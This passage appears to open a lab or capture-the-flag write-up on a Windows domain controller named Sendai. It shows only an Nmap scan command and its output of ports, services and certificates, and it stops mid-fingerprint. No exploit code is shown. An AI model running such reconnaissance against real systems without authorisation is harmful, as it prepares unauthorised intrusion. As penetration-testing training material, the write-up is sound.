Initial access#

Nmap Scan#

I began the assessment with a comprehensive Nmap scan to identify open ports and running services on the target domain controller:

1
# Nmap 7.95 scan initiated Wed Sep 10 21:24:11 2025 as: /usr/lib/nmap/nmap --privileged -sV -vv -p- -A --min-rate 3000 -oN sendai_tcp.txt 10.129.220.222
2
Nmap scan report for 10.129.220.222 (10.129.220.222)
3
Host is up, received echo-reply ttl 127 (0.048s latency).
4
Scanned at 2025-09-10 21:24:12 +01 for 196s
5
Not shown: 65511 filtered tcp ports (no-response)
6
PORT      STATE SERVICE       REASON          VERSION
7
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
8
80/tcp    open  http          syn-ack ttl 127 Microsoft IIS httpd 10.0
9
|_http-server-header: Microsoft-IIS/10.0
10
| http-methods:
11
|   Supported Methods: OPTIONS TRACE GET HEAD POST
12
|_  Potentially risky methods: TRACE
13
|_http-title: IIS Windows Server
14
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-09-10 20:25:46Z)
15
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
16
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
17
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sendai.vl0., Site: Default-First-Site-Name)
18
| ssl-cert: Subject: commonName=dc.sendai.vl
19
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc.sendai.vl
20
| Issuer: commonName=sendai-DC-CA/domainComponent=sendai
21
| Public Key type: rsa
22
| Public Key bits: 2048
23
| Signature Algorithm: sha256WithRSAEncryption
24
| Not valid before: 2025-08-18T12:30:05
25
| Not valid after:  2026-08-18T12:30:05
26
| MD5:   879e:fbc1:988b:964a:e183:6735:66b8:9f3c
27
| SHA-1: 099e:0fbb:349b:7fb1:35de:6acb:77a4:c3e5:d0e1:4578
28
| -----BEGIN CERTIFICATE-----
29
| MIIGFTCCBP2gAwIBAgITVwAAAATYPsFplvexvwAAAAAABDANBgkqhkiG9w0BAQsF
30
| ADBDMRIwEAYKCZImiZPyLGQBGRYCdmwxFjAUBgoJkiaJk/IsZAEZFgZzZW5kYWkx
31
| FTATBgNVBAMTDHNlbmRhaS1EQy1DQTAeFw0yNTA4MTgxMjMwMDVaFw0yNjA4MTgx
32
| MjMwMDVaMBcxFTATBgNVBAMTDGRjLnNlbmRhaS52bDCCASIwDQYJKoZIhvcNAQEB
33
| BQADggEPADCCAQoCggEBAM/zoBh9/Vf9Dg2a7ZByPbs7K7m34f14/NBkNL+qvWwW
34
| A6uVwcXtdqZTm2m/ihyTcq1HCADBVR57BcB0S6nkIIqoTis/ATH+E4zj1Mpek3ml
35
| IxXv3yer14cVtP5cCmlm92rFMLbdAmnH3VyEGoE0pg64OtwPbAuYHTpnuaRQvdfl
36
| dWILGe0qsBahDpOhgxnpxLZFuacK3mCy45mz8T1iwYpMLo9WE7z2o/THjP58dCJ3
37
| +a9HoEcqz5mdon4OK/ZDWokCC5m2JVXwdglm04SeU5pTLqIuvkvrFPF6xByTo6OG
38
| w0mD55O3dpqu2AXPHpxmSszZUHZedZ7oZYHah9X/vlkCAwEAAaOCAywwggMoMC8G
39
| CSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8AbABsAGUAcjAd
40
| BgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/BAQDAgWgMHgG
41
| CSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3DQMEAgIAgDAL
42
| BglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjALBglghkgBZQME
43
| AQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwTQYJKwYBBAGCNxkCBEAwPqA8BgorBgEE
44
| AYI3GQIBoC4ELFMtMS01LTIxLTMwODU4NzI3NDItNTcwOTcyODIzLTczNjc2NDEz
45
| Mi0xMDAwMDgGA1UdEQQxMC+gHwYJKwYBBAGCNxkBoBIEEB6FyoYBEbdOhIdd+rz6
46
| DSGCDGRjLnNlbmRhaS52bDAdBgNVHQ4EFgQUvcswuDmO6a7M1hAuQYYIq7/AN/Qw
47
| HwYDVR0jBBgwFoAUSemJy2wGmS2/ToDZ6jjJnKaooz4wgcMGA1UdHwSBuzCBuDCB
48
| taCBsqCBr4aBrGxkYXA6Ly8vQ049c2VuZGFpLURDLUNBLENOPWRjLENOPUNEUCxD
49
| Tj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1
50
| cmF0aW9uLERDPXNlbmRhaSxEQz12bD9jZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0
51
| P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlzdHJpYnV0aW9uUG9pbnQwgbwGCCsGAQUF
52
| BwEBBIGvMIGsMIGpBggrBgEFBQcwAoaBnGxkYXA6Ly8vQ049c2VuZGFpLURDLUNB
53
| LENOPUFJQSxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxD
54
| Tj1Db25maWd1cmF0aW9uLERDPXNlbmRhaSxEQz12bD9jQUNlcnRpZmljYXRlP2Jh
55
| c2U/b2JqZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1dGhvcml0eTANBgkqhkiG9w0B
56
| AQsFAAOCAQEAhxfDqVgK+WpagVPhh89RuqlcLnfnYgeBTRQTEwrzI7OZ4SF1//04
57
| eSwGSqxNPoShh7oMGO2FE/ad5LxFu1KdS+zTWyXCw4B9HgXKOdM1wmxpJujwFyXt
58
| JGZHrnQzaa0ePj9i/tpjk/D0Q0gurbAkjTlEw5FAitraZuYOT7SVf8bL0u/6RIBo
59
| syB2pUE3O//Dj+O7t2xOj9swvokQ6Dnlq0VN313aIVrPrgFnUdfVpd3B2yoXXziD
60
| KZ2i9fc55HIMZ5VM/aN5M7UT1KqdD7BoEG8b3bq0gi0iCCsxjQyRMsw5Dd3UcCuQ
61
| R4i0WBM2m9vQoSf/jw1s4S1uQ69/cK9iwQ==
62
|_-----END CERTIFICATE-----
63
|_ssl-date: TLS randomness does not represent time
64
443/tcp   open  ssl/http      syn-ack ttl 127 Microsoft IIS httpd 10.0
65
|_ssl-date: TLS randomness does not represent time
66
|_http-server-header: Microsoft-IIS/10.0
67
| http-methods:
68
|   Supported Methods: OPTIONS TRACE GET HEAD POST
69
|_  Potentially risky methods: TRACE
70
|_http-title: IIS Windows Server
71
| ssl-cert: Subject: commonName=dc.sendai.vl
72
| Subject Alternative Name: DNS:dc.sendai.vl
73
| Issuer: commonName=dc.sendai.vl
74
| Public Key type: rsa
75
| Public Key bits: 2048
76
| Signature Algorithm: sha256WithRSAEncryption
77
| Not valid before: 2023-07-18T12:39:21
78
| Not valid after:  2024-07-18T00:00:00
79
| MD5:   3223:91f5:f1f7:4e16:738e:382d:053e:c7fa
80
| SHA-1: 5282:f809:dcc9:8d53:e9a1:065a:25a1:c741:fa2c:4bc5
81
| -----BEGIN CERTIFICATE-----
82
| MIIC9TCCAd2gAwIBAgIQKG7SWIn2M6tPyGomAHBoSjANBgkqhkiG9w0BAQsFADAX
83
| MRUwEwYDVQQDEwxkYy5zZW5kYWkudmwwHhcNMjMwNzE4MTIzOTIxWhcNMjQwNzE4
84
| MDAwMDAwWjAXMRUwEwYDVQQDEwxkYy5zZW5kYWkudmwwggEiMA0GCSqGSIb3DQEB
85
| AQUAA4IBDwAwggEKAoIBAQDcBXcByvqbxTJwsmevy4Bj83CH0vCBzz3cev/4fxMG
86
| Ill5epHVaQJSNAwCRseP2KJYUqfpUaZuJTjhvtm9V6uRdhBNy9xtMH/kGfx6KVeO
87
| TViixsc/X5DCROAcjUhnsXJa1pmtcTItDn+f0VMYbjHsMGqM+yOeguPSXPztnMWZ
88
| TtuwKH/EnyUIOtxo3tIuCLthRt4W36r6I9kkYmpWhPyuhVssAFuQ8fL7JyVTFWBE
89
| cvG9YO0a4B8+t4PBnUKdMf8n0I6viITltxQpSby1Atlx1lF9OngDK/sKnxiYSzFw
90
| 64bOIRU8EVAo8dCab5ZrHM2H2KphvaFWccccJGytsz2FAgMBAAGjPTA7MAsGA1Ud
91
| DwQEAwIEsDATBgNVHSUEDDAKBggrBgEFBQcDATAXBgNVHREEEDAOggxkYy5zZW5k
92
| YWkudmwwDQYJKoZIhvcNAQELBQADggEBAB9DGOlZwCpk4UGmyYa7R+D924WY6QQ7
93
| nHLlL/F1KKXY29Ps2WKj4EwPkWrwBmMy6T5rIyJJIIuM4SIXWeXCjOo7RcLkYoM4
94
| eyONMuzZINzzr83EypJbygJVt4wPlYPJpkP8Xsl4Y3RCYiRqVeDmW+sUfOh4NmBo
95
| jS9ra3d/LtStdVbMGtWEIXGISSZN0v5ygCAQMUSrcCbvDJESHJrALGJ8TLLLn86p
96
| qivJSaN69CybqAILhPph0/yb7iBG4LH06LXq7Ros7r5c8kaMjELOHSb+DsiDfGfM
97
| kYMg/u4NFqroRzmHFo1Z0H/vN4Au33hmsj6pCVzGnQDMs2/mDAfLKLg=
98
|_-----END CERTIFICATE-----
99
445/tcp   open  microsoft-ds? syn-ack ttl 127
100
464/tcp   open  kpasswd5?     syn-ack ttl 127
101
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
102
636/tcp   open  ssl/ldap      syn-ack ttl 127
103
|_ssl-date: TLS randomness does not represent time
104
| ssl-cert: Subject: commonName=dc.sendai.vl
105
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc.sendai.vl
106
| Issuer: commonName=sendai-DC-CA/domainComponent=sendai
107
| Public Key type: rsa
108
| Public Key bits: 2048
109
| Signature Algorithm: sha256WithRSAEncryption
110
| Not valid before: 2025-08-18T12:30:05
111
| Not valid after:  2026-08-18T12:30:05
112
| MD5:   879e:fbc1:988b:964a:e183:6735:66b8:9f3c
113
| SHA-1: 099e:0fbb:349b:7fb1:35de:6acb:77a4:c3e5:d0e1:4578
114
| -----BEGIN CERTIFICATE-----
115
| MIIGFTCCBP2gAwIBAgITVwAAAATYPsFplvexvwAAAAAABDANBgkqhkiG9w0BAQsF
116
| ADBDMRIwEAYKCZImiZPyLGQBGRYCdmwxFjAUBgoJkiaJk/IsZAEZFgZzZW5kYWkx
117
| FTATBgNVBAMTDHNlbmRhaS1EQy1DQTAeFw0yNTA4MTgxMjMwMDVaFw0yNjA4MTgx
118
| MjMwMDVaMBcxFTATBgNVBAMTDGRjLnNlbmRhaS52bDCCASIwDQYJKoZIhvcNAQEB
119
| BQADggEPADCCAQoCggEBAM/zoBh9/Vf9Dg2a7ZByPbs7K7m34f14/NBkNL+qvWwW
120
| A6uVwcXtdqZTm2m/ihyTcq1HCADBVR57BcB0S6nkIIqoTis/ATH+E4zj1Mpek3ml
121
| IxXv3yer14cVtP5cCmlm92rFMLbdAmnH3VyEGoE0pg64OtwPbAuYHTpnuaRQvdfl
122
| dWILGe0qsBahDpOhgxnpxLZFuacK3mCy45mz8T1iwYpMLo9WE7z2o/THjP58dCJ3
123
| +a9HoEcqz5mdon4OK/ZDWokCC5m2JVXwdglm04SeU5pTLqIuvkvrFPF6xByTo6OG
124
| w0mD55O3dpqu2AXPHpxmSszZUHZedZ7oZYHah9X/vlkCAwEAAaOCAywwggMoMC8G
125
| CSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8AbABsAGUAcjAd
126
| BgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/BAQDAgWgMHgG
127
| CSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3DQMEAgIAgDAL
128
| BglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjALBglghkgBZQME
129
| AQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwTQYJKwYBBAGCNxkCBEAwPqA8BgorBgEE
130
| AYI3GQIBoC4ELFMtMS01LTIxLTMwODU4NzI3NDItNTcwOTcyODIzLTczNjc2NDEz
131
| Mi0xMDAwMDgGA1UdEQQxMC+gHwYJKwYBBAGCNxkBoBIEEB6FyoYBEbdOhIdd+rz6
132
| DSGCDGRjLnNlbmRhaS52bDAdBgNVHQ4EFgQUvcswuDmO6a7M1hAuQYYIq7/AN/Qw
133
| HwYDVR0jBBgwFoAUSemJy2wGmS2/ToDZ6jjJnKaooz4wgcMGA1UdHwSBuzCBuDCB
134
| taCBsqCBr4aBrGxkYXA6Ly8vQ049c2VuZGFpLURDLUNBLENOPWRjLENOPUNEUCxD
135
| Tj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1
136
| cmF0aW9uLERDPXNlbmRhaSxEQz12bD9jZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0
137
| P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlzdHJpYnV0aW9uUG9pbnQwgbwGCCsGAQUF
138
| BwEBBIGvMIGsMIGpBggrBgEFBQcwAoaBnGxkYXA6Ly8vQ049c2VuZGFpLURDLUNB
139
| LENOPUFJQSxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxD
140
| Tj1Db25maWd1cmF0aW9uLERDPXNlbmRhaSxEQz12bD9jQUNlcnRpZmljYXRlP2Jh
141
| c2U/b2JqZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1dGhvcml0eTANBgkqhkiG9w0B
142
| AQsFAAOCAQEAhxfDqVgK+WpagVPhh89RuqlcLnfnYgeBTRQTEwrzI7OZ4SF1//04
143
| eSwGSqxNPoShh7oMGO2FE/ad5LxFu1KdS+zTWyXCw4B9HgXKOdM1wmxpJujwFyXt
144
| JGZHrnQzaa0ePj9i/tpjk/D0Q0gurbAkjTlEw5FAitraZuYOT7SVf8bL0u/6RIBo
145
| syB2pUE3O//Dj+O7t2xOj9swvokQ6Dnlq0VN313aIVrPrgFnUdfVpd3B2yoXXziD
146
| KZ2i9fc55HIMZ5VM/aN5M7UT1KqdD7BoEG8b3bq0gi0iCCsxjQyRMsw5Dd3UcCuQ
147
| R4i0WBM2m9vQoSf/jw1s4S1uQ69/cK9iwQ==
148
|_-----END CERTIFICATE-----
149
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sendai.vl0., Site: Default-First-Site-Name)
150
|_ssl-date: TLS randomness does not represent time
151
| ssl-cert: Subject: commonName=dc.sendai.vl
152
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc.sendai.vl
153
| Issuer: commonName=sendai-DC-CA/domainComponent=sendai
154
| Public Key type: rsa
155
| Public Key bits: 2048
156
| Signature Algorithm: sha256WithRSAEncryption
157
| Not valid before: 2025-08-18T12:30:05
158
| Not valid after:  2026-08-18T12:30:05
159
| MD5:   879e:fbc1:988b:964a:e183:6735:66b8:9f3c
160
| SHA-1: 099e:0fbb:349b:7fb1:35de:6acb:77a4:c3e5:d0e1:4578
161
| -----BEGIN CERTIFICATE-----
162
| MIIGFTCCBP2gAwIBAgITVwAAAATYPsFplvexvwAAAAAABDANBgkqhkiG9w0BAQsF
163
| ADBDMRIwEAYKCZImiZPyLGQBGRYCdmwxFjAUBgoJkiaJk/IsZAEZFgZzZW5kYWkx
164
| FTATBgNVBAMTDHNlbmRhaS1EQy1DQTAeFw0yNTA4MTgxMjMwMDVaFw0yNjA4MTgx
165
| MjMwMDVaMBcxFTATBgNVBAMTDGRjLnNlbmRhaS52bDCCASIwDQYJKoZIhvcNAQEB
166
| BQADggEPADCCAQoCggEBAM/zoBh9/Vf9Dg2a7ZByPbs7K7m34f14/NBkNL+qvWwW
167
| A6uVwcXtdqZTm2m/ihyTcq1HCADBVR57BcB0S6nkIIqoTis/ATH+E4zj1Mpek3ml
168
| IxXv3yer14cVtP5cCmlm92rFMLbdAmnH3VyEGoE0pg64OtwPbAuYHTpnuaRQvdfl
169
| dWILGe0qsBahDpOhgxnpxLZFuacK3mCy45mz8T1iwYpMLo9WE7z2o/THjP58dCJ3
170
| +a9HoEcqz5mdon4OK/ZDWokCC5m2JVXwdglm04SeU5pTLqIuvkvrFPF6xByTo6OG
171
| w0mD55O3dpqu2AXPHpxmSszZUHZedZ7oZYHah9X/vlkCAwEAAaOCAywwggMoMC8G
172
| CSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8AbABsAGUAcjAd
173
| BgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/BAQDAgWgMHgG
174
| CSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3DQMEAgIAgDAL
175
| BglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjALBglghkgBZQME
176
| AQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwTQYJKwYBBAGCNxkCBEAwPqA8BgorBgEE
177
| AYI3GQIBoC4ELFMtMS01LTIxLTMwODU4NzI3NDItNTcwOTcyODIzLTczNjc2NDEz
178
| Mi0xMDAwMDgGA1UdEQQxMC+gHwYJKwYBBAGCNxkBoBIEEB6FyoYBEbdOhIdd+rz6
179
| DSGCDGRjLnNlbmRhaS52bDAdBgNVHQ4EFgQUvcswuDmO6a7M1hAuQYYIq7/AN/Qw
180
| HwYDVR0jBBgwFoAUSemJy2wGmS2/ToDZ6jjJnKaooz4wgcMGA1UdHwSBuzCBuDCB
181
| taCBsqCBr4aBrGxkYXA6Ly8vQ049c2VuZGFpLURDLUNBLENOPWRjLENOPUNEUCxD
182
| Tj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1
183
| cmF0aW9uLERDPXNlbmRhaSxEQz12bD9jZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0
184
| P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlzdHJpYnV0aW9uUG9pbnQwgbwGCCsGAQUF
185
| BwEBBIGvMIGsMIGpBggrBgEFBQcwAoaBnGxkYXA6Ly8vQ049c2VuZGFpLURDLUNB
186
| LENOPUFJQSxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxD
187
| Tj1Db25maWd1cmF0aW9uLERDPXNlbmRhaSxEQz12bD9jQUNlcnRpZmljYXRlP2Jh
188
| c2U/b2JqZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1dGhvcml0eTANBgkqhkiG9w0B
189
| AQsFAAOCAQEAhxfDqVgK+WpagVPhh89RuqlcLnfnYgeBTRQTEwrzI7OZ4SF1//04
190
| eSwGSqxNPoShh7oMGO2FE/ad5LxFu1KdS+zTWyXCw4B9HgXKOdM1wmxpJujwFyXt
191
| JGZHrnQzaa0ePj9i/tpjk/D0Q0gurbAkjTlEw5FAitraZuYOT7SVf8bL0u/6RIBo
192
| syB2pUE3O//Dj+O7t2xOj9swvokQ6Dnlq0VN313aIVrPrgFnUdfVpd3B2yoXXziD
193
| KZ2i9fc55HIMZ5VM/aN5M7UT1KqdD7BoEG8b3bq0gi0iCCsxjQyRMsw5Dd3UcCuQ
194
| R4i0WBM2m9vQoSf/jw1s4S1uQ69/cK9iwQ==
195
|_-----END CERTIFICATE-----
196
3269/tcp  open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sendai.vl0., Site: Default-First-Site-Name)
197
|_ssl-date: TLS randomness does not represent time
198
| ssl-cert: Subject: commonName=dc.sendai.vl
199
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc.sendai.vl
200
| Issuer: commonName=sendai-DC-CA/domainComponent=sendai
201
| Public Key type: rsa
202
| Public Key bits: 2048
203
| Signature Algorithm: sha256WithRSAEncryption
204
| Not valid before: 2025-08-18T12:30:05
205
| Not valid after:  2026-08-18T12:30:05
206
| MD5:   879e:fbc1:988b:964a:e183:6735:66b8:9f3c
207
| SHA-1: 099e:0fbb:349b:7fb1:35de:6acb:77a4:c3e5:d0e1:4578
208
| -----BEGIN CERTIFICATE-----
209
| MIIGFTCCBP2gAwIBAgITVwAAAATYPsFplvexvwAAAAAABDANBgkqhkiG9w0BAQsF
210
| ADBDMRIwEAYKCZImiZPyLGQBGRYCdmwxFjAUBgoJkiaJk/IsZAEZFgZzZW5kYWkx
211
| FTATBgNVBAMTDHNlbmRhaS1EQy1DQTAeFw0yNTA4MTgxMjMwMDVaFw0yNjA4MTgx
212
| MjMwMDVaMBcxFTATBgNVBAMTDGRjLnNlbmRhaS52bDCCASIwDQYJKoZIhvcNAQEB
213
| BQADggEPADCCAQoCggEBAM/zoBh9/Vf9Dg2a7ZByPbs7K7m34f14/NBkNL+qvWwW
214
| A6uVwcXtdqZTm2m/ihyTcq1HCADBVR57BcB0S6nkIIqoTis/ATH+E4zj1Mpek3ml
215
| IxXv3yer14cVtP5cCmlm92rFMLbdAmnH3VyEGoE0pg64OtwPbAuYHTpnuaRQvdfl
216
| dWILGe0qsBahDpOhgxnpxLZFuacK3mCy45mz8T1iwYpMLo9WE7z2o/THjP58dCJ3
217
| +a9HoEcqz5mdon4OK/ZDWokCC5m2JVXwdglm04SeU5pTLqIuvkvrFPF6xByTo6OG
218
| w0mD55O3dpqu2AXPHpxmSszZUHZedZ7oZYHah9X/vlkCAwEAAaOCAywwggMoMC8G
219
| CSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8AbABsAGUAcjAd
220
| BgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/BAQDAgWgMHgG
221
| CSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3DQMEAgIAgDAL
222
| BglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjALBglghkgBZQME
223
| AQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwTQYJKwYBBAGCNxkCBEAwPqA8BgorBgEE
224
| AYI3GQIBoC4ELFMtMS01LTIxLTMwODU4NzI3NDItNTcwOTcyODIzLTczNjc2NDEz
225
| Mi0xMDAwMDgGA1UdEQQxMC+gHwYJKwYBBAGCNxkBoBIEEB6FyoYBEbdOhIdd+rz6
226
| DSGCDGRjLnNlbmRhaS52bDAdBgNVHQ4EFgQUvcswuDmO6a7M1hAuQYYIq7/AN/Qw
227
| HwYDVR0jBBgwFoAUSemJy2wGmS2/ToDZ6jjJnKaooz4wgcMGA1UdHwSBuzCBuDCB
228
| taCBsqCBr4aBrGxkYXA6Ly8vQ049c2VuZGFpLURDLUNBLENOPWRjLENOPUNEUCxD
229
| Tj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1
230
| cmF0aW9uLERDPXNlbmRhaSxEQz12bD9jZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0
231
| P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlzdHJpYnV0aW9uUG9pbnQwgbwGCCsGAQUF
232
| BwEBBIGvMIGsMIGpBggrBgEFBQcwAoaBnGxkYXA6Ly8vQ049c2VuZGFpLURDLUNB
233
| LENOPUFJQSxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxD
234
| Tj1Db25maWd1cmF0aW9uLERDPXNlbmRhaSxEQz12bD9jQUNlcnRpZmljYXRlP2Jh
235
| c2U/b2JqZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1dGhvcml0eTANBgkqhkiG9w0B
236
| AQsFAAOCAQEAhxfDqVgK+WpagVPhh89RuqlcLnfnYgeBTRQTEwrzI7OZ4SF1//04
237
| eSwGSqxNPoShh7oMGO2FE/ad5LxFu1KdS+zTWyXCw4B9HgXKOdM1wmxpJujwFyXt
238
| JGZHrnQzaa0ePj9i/tpjk/D0Q0gurbAkjTlEw5FAitraZuYOT7SVf8bL0u/6RIBo
239
| syB2pUE3O//Dj+O7t2xOj9swvokQ6Dnlq0VN313aIVrPrgFnUdfVpd3B2yoXXziD
240
| KZ2i9fc55HIMZ5VM/aN5M7UT1KqdD7BoEG8b3bq0gi0iCCsxjQyRMsw5Dd3UcCuQ
241
| R4i0WBM2m9vQoSf/jw1s4S1uQ69/cK9iwQ==
242
|_-----END CERTIFICATE-----
243
3389/tcp  open  ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
244
|_ssl-date: 2025-09-10T20:27:26+00:00; 0s from scanner time.
245
| ssl-cert: Subject: commonName=dc.sendai.vl
246
| Issuer: commonName=dc.sendai.vl
247
| Public Key type: rsa
248
| Public Key bits: 2048
249
| Signature Algorithm: sha256WithRSAEncryption
250
| Not valid before: 2025-04-15T02:26:14
251
| Not valid after:  2025-10-15T02:26:14
252
| MD5:   4f35:91c2:3387:873e:3f73:7e83:1f59:fbbb
253
| SHA-1: 584e:2cc7:1336:099a:33c8:eee9:efe0:6922:8e71:95ce
254
| -----BEGIN CERTIFICATE-----
255
| MIIC3DCCAcSgAwIBAgIQKuF1NcIlY4FNpMV86ttHbzANBgkqhkiG9w0BAQsFADAX
256
| MRUwEwYDVQQDEwxkYy5zZW5kYWkudmwwHhcNMjUwNDE1MDIyNjE0WhcNMjUxMDE1
257
| MDIyNjE0WjAXMRUwEwYDVQQDEwxkYy5zZW5kYWkudmwwggEiMA0GCSqGSIb3DQEB
258
| AQUAA4IBDwAwggEKAoIBAQDNHgDP8zUjKEITrDV+OcmojamI683UUr5mxScIqNQS
259
| IDhdLKRgVTB+uRlwLU4XNAtLnN6xVCd1GLAMJwHZDAr084MjDHjwnfUihc5VZImp
260
| wXRsQunh6Wz0EwPTjTOKkaavM/n4xOBFBNGrtRNMiQj9ClIxNug1/ntLTntuMnWD
261
| QdG1qzjTr19uazqbXFCHjuWobbM4oxEezJIlgM8JEaliloK4j1h5LPPBwhuZWPUu
262
| TG/Cr+VnGw4k/SU/jevDINNiweT90MBf7aKTQogJBUpJMd/qwnz6MhUwUPxQyN3u
263
| lJkM/60PwrGNG49NovTnueupuQLlr0ZK2p1AJL3REpydAgMBAAGjJDAiMBMGA1Ud
264
| JQQMMAoGCCsGAQUFBwMBMAsGA1UdDwQEAwIEMDANBgkqhkiG9w0BAQsFAAOCAQEA
265
| DrykA5TA6uNu+Cq6GKkoak4ecJ5Bvnosjg69juRiJKU8MnimNshVoJeAAc6CEGuS
266
| Pr9+dALaUthlI1i083NTyLePICWWE3HIh4x2Vuk6dOF5fVTsQqdFfpXQt83Bus/s
267
| NFpGXxbDE6a1elVwRFtymPUbSiBLF3cBGm2ud7P+TPCE8tKohF06K1C5f51Css5i
268
| B/IzGFhKYjHsHRKPYMNbWcQDIX3yNH92S/VBvzS4IauUyvDCbBBKIhq2GhKRfHJp
269
| boGHCZdqobPNLnd80loYHYdbBoVxMT24YEAKhlbpDfvaKmIEtnVcuBHPlWtJdMfO
270
| jLGAEg3qGeeiaJ02yGMaug==
271
|_-----END CERTIFICATE-----
272
| rdp-ntlm-info:
273
|   Target_Name: SENDAI
274
|   NetBIOS_Domain_Name: SENDAI
275
|   NetBIOS_Computer_Name: DC
276
|   DNS_Domain_Name: sendai.vl
277
|   DNS_Computer_Name: dc.sendai.vl
278
|   DNS_Tree_Name: sendai.vl
279
|   Product_Version: 10.0.20348
280
|_  System_Time: 2025-09-10T20:26:46+00:00
281
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
282
|_http-server-header: Microsoft-HTTPAPI/2.0
283
|_http-title: Not Found
284
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
285
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
286
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
287
52627/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
288
56893/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
289
56895/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
290
56912/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
291
57531/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
292
57550/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
293
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
294
Device type: general purpose
295
Running (JUST GUESSING): Microsoft Windows 2022|2012|2016 (89%)
296
OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016
297
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
298
Aggressive OS guesses: Microsoft Windows Server 2022 (89%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%)
299
No exact OS matches for host (test conditions non-ideal).
300
TCP/IP fingerprint:
301
SCAN(V=7.95%E=4%D=9/10%OT=53%CT=%CU=%PV=Y%DS=2%DC=T%G=N%TM=68C1DF30%P=x86_64-pc-linux-gnu)
302
SEQ(SP=104%GCD=2%ISR=10A%TI=I%II=I%SS=S%TS=A)
303
SEQ(SP=FF%GCD=1%ISR=104%TI=I%II=I%SS=S%TS=A)
304
OPS(O1=M552NW8ST11%O2=M552NW8ST11%O3=M552NW8NNT11%O4=M552NW8ST11%O5=M552NW8ST11%O6=M552ST11)
305
